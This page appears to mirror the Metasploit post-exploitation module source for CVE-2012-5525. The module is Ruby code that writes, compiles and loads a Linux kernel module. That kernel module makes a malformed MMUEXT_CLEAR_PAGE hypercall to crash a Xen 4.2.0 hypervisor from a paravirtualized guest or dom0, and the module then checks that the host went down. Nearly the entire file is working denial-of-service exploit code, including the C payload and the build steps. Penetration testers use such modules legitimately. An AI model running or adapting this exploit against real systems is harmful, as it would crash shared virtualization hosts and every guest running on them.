Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/dos/xen_420_dos.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv8include Msf::Post::Linux::System910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Linux DoS Xen 4.2.0 2012-5525',15'Description' => %q{16This module causes a hypervisor crash in Xen 4.2.0 when invoked from a17paravirtualized VM, including from dom0. Successfully tested on Debian 7183.2.0-4-amd64 with Xen 4.2.0.19},20'References' => [ ['CVE', '2012-5525'] ],21'License' => MSF_LICENSE,22'Author' => [23'Christoph Sendner <christoph.sendner[at]stud-mail.uni-wuerzburg.de>',24'Aleksandar Milenkoski <aleksandar.milenkoski[at]uni-wuerzburg.de>'25],26'Platform' => [ 'linux' ],27'Arch' => [ARCH_X64],28'SessionTypes' => ['shell']29)30)3132register_options(33[34OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])35], self.class36)37end3839def run40# Variables41@rand_folder = '/' + Rex::Text.rand_text_alpha(rand(7..11)).to_s42@writeable_folder = datastore['WritableDir'].to_s + @rand_folder4344# Testing requirements45print_status('Detecting requirements...')46return unless requirements_met?4748# Cearting and writing random paths and files49vprint_status('Creating random file and folder names')50write_files5152# Execute make and insmod53do_insmod5455# Testing success of DoS56test_success57end5859##60# Test all requirements:61# - root-priviliges62# - build-essentials63# - xen-enviroment (existing, not running)64# - xen-running65# - xen-version (DoS only works on specific versions)66##6768def requirements_met?69unless is_root?70print_error('Root access is required')71return false72end73print_good('Detected root privilege')7475unless build_essential?76print_error('No build-essential package found')77return false78end79print_good('Detected build-essential')8081unless xen?82print_error('Running Xen was not found')83return false84end85print_good('Detected Xen')8687unless xen_running?88print_error('Xen is not running')89return false90end91print_good('Detected running Xen')9293unless right_xen_version?94print_error('Incorrect Xen version running')95return false96end97print_good('Detected correct Xen version')9899true100end101102##103# Checks for build essentials104# - Required for building a lkm105# - checks for gcc/g++, make and linux-headers106# - commands sh-conform107##108109def build_essential?110check_command = 'if [ -s $( which gcc ) ] && '111check_command << '[ -s $( which g++ ) ] && '112check_command << '[ -s $( which make ) ] && '113check_command << '[ "$( dpkg -l | grep linux-headers-$(uname -r) )" != "" ] ;'114check_command << 'then echo OK;'115check_command << 'fi'116117cmd_exec(check_command).delete("\r") == 'OK'118end119120##121# Checks for running Xen Hypervisor122# - Looks for Xen in lsmod, lscpu, dmesg and /sys/bus123# - commands sh-conform124##125126def xen?127check_command = 'if [ "$( lsmod | grep xen )" != "" ] || '128check_command << '[ "$( lscpu | grep Xen )" != "" ] || '129check_command << '[ "$( dmesg | grep xen )" != "" ] || '130check_command << '[ "$( which xl )" != "" ] ;'131check_command << 'then echo OK;'132check_command << 'fi'133134cmd_exec(check_command).delete("\r") == 'OK'135end136137##138# Checks for running Xen139# - Host eventually has Xen installed, but not running140# - DoS needs a running Xen on Host141##142143def xen_running?144check_command = 'if [ -f /var/run/xenstored.pid -o -f /var/run/xenstore.pid ] ; then echo OK; fi'145146cmd_exec(check_command).delete("\r") == 'OK'147end148149##150# Checks for Xen Version151# - Most DoS of Xen require a specific version - here: 4.2.0152# - commands need running Xen - so execute after test for xen153##154155def right_xen_version?156cmd_major = "xl info | grep xen_major | grep -o '[0-9]*'"157xen_major = cmd_exec(cmd_major).delete("\r")158cmd_minor = "xl info | grep xen_minor | grep -o '[0-9]*'"159xen_minor = cmd_exec(cmd_minor).delete("\r")160cmd_extra = "xl info | grep xen_extra | grep -o '[0-9]*'"161xen_extra = cmd_exec(cmd_extra).delete("\r")162163xen_version = xen_major + '.' + xen_minor + '.' + xen_extra164165print_status('Xen Version: ' + xen_version)166167xen_version == '4.2.0'168end169170##171# Creating and writing files:172# - c_file for c-code173# - Makefile174##175176def write_files177@c_name = Rex::Text.rand_text_alpha(rand(7..11)).to_s178@c_file = "#{@writeable_folder}/#{@c_name}.c"179@make_file = "#{@writeable_folder}/Makefile"180181vprint_status("Creating folder '#{@writeable_folder}'")182cmd_exec("mkdir #{@writeable_folder}")183184vprint_status("Writing C code to '#{@c_file}'")185write_file(@c_file, c_code)186vprint_status("Writing Makefile to '#{@make_file}'")187write_file(@make_file, make_code)188end189190##191# Compiling and execute LKM192##193194def do_insmod195cmd_exec("cd #{@writeable_folder}")196vprint_status('Making module...')197cmd_exec('make')198vprint_status("Insmod '#{@writeable_folder}/#{@c_name}.ko'")199cmd_exec("insmod #{@writeable_folder}/#{@c_name}.ko")200end201202##203# Test for success via ssh-error exception204# - Host down => ssh-error => DoS successful205##206207def test_success208successful = false209begin210is_root?211rescue RuntimeError => e212successful = true if e.message == 'Could not determine UID: ""'213raise unless successful214ensure215if successful216print_good('DoS was successful!')217else218print_error('DoS has failed')219end220end221end222223##224# Returns Makefile to compile225# - LKMs need a Makefile226# - Needs the linux-headers, make and gcc227##228229def make_code230m = <<~END231obj-m := #{@c_name}.o232233EXTRA_CFLAGS+= -save-temps234235all:236\t$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules237238clean:239\t$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean240END241m242end243244##245# Returns the c-Code to compile246# - Contains the essential bug to crash Xen247# - Here: Force a segmentation fault via hypercall, which crashes the host248##249250def c_code251c = <<~END252#undef __KERNEL__253#define __KERNEL__254#undef MODULE255#define MODULE256#include <linux/module.h>257#include <asm/xen/hypercall.h>258MODULE_LICENSE("GPL");259static int __init lkm_init(void)260{261struct mmuext_op op;262int status;263op.cmd = 16; /*MMUEXT_CLEAR_PAGE*/264op.arg1.mfn = 0x0EEEEE; /*A large enough MFN*/265HYPERVISOR_mmuext_op(&op, 1, &status, DOMID_SELF);266return 0;267}268static void __exit lkm_cleanup(void)269{270}271module_init(lkm_init);272module_exit(lkm_cleanup);273END274c275end276end277278279